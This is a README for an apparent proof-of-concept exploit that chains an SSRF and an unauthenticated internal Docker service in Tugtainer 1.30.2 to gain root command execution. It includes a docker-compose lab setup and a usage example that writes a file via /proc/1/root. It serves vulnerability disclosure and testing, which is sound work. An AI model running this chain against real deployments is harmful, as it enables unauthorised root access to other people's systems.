tugtainer-1.30.2-CVE-2026-55494-and-CVE-2026-62308-to-RCE

Tugtainer v1.30.2 RCE

The RCE is obtained by abusing 2 vulnerabilities

• CVE-2026-55494
• CVE-2026-62308

In short, a SSRF vulnerability is abused to call to an unauthenticated service in the internal network to create a docker that shares the same pid with tugtainer, thus making the file system of the tugtainer docker accessbile via /proc/1/root, and since the created docker has root level privilege, you technically has root level over the tugtainer docker system

Setup

• Run docker compose with the provided docker-compose.yml in this repo, or copy and paste the following

networks:
  tugtainer:
    driver: bridge

services:
  socket-proxy:
    image: lscr.io/linuxserver/socket-proxy:latest
    container_name: socket-proxy
    environment:
      CONTAINERS: 1
      EVENTS: 1
      IMAGES: 1
      INFO: 1
      LOG_LEVEL: warning
      PING: 1
      NETWORKS: 1
      POST: 1
      TZ: Europe/Moscow
      VERSION: 1
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
    restart: unless-stopped
    read_only: true
    tmpfs:
      - /run
    networks:
      - tugtainer
    labels:
      dev.quenary.tugtainer.protected: True

  app:
    depends_on:
      - socket-proxy
    container_name: tugtainer
    image: ghcr.io/quenary/tugtainer:1.30.2
    tmpfs:
    - /tugtainer:size=100m
    restart: unless-stopped
    environment:
      DOCKER_HOST: tcp://socket-proxy:2375
    networks:
      - tugtainer
    ports:
      - '9412:80'
    labels:
      dev.quenary.tugtainer.protected: True

Exploit

• Run the poc.py as following

$ python poc.py <URL> <PASSWORD> <COMMAND>

• For example

$ python poc.py http://localhost:9412 Admin123! "whoami > /proc/1/root/tmp/pwned"

• The above command should create a file pwned in tugtainer docker in /tmp

Disclaimer

• This proof-of-concept (PoC) is provided for educational, research, and defensive security purposes only.
• The author is not responsible for any misuse, damage, unauthorized access, service disruption, data loss, or legal consequences resulting from the use of this code. Users are solely responsible for ensuring that they comply with all applicable laws, regulations, and authorization requirements before using this PoC.
• This PoC should only be executed against systems for which you have explicit permission to test. Unauthorized testing of systems may be illegal and unethical.
• By using this software, you acknowledge that you do so at your own risk.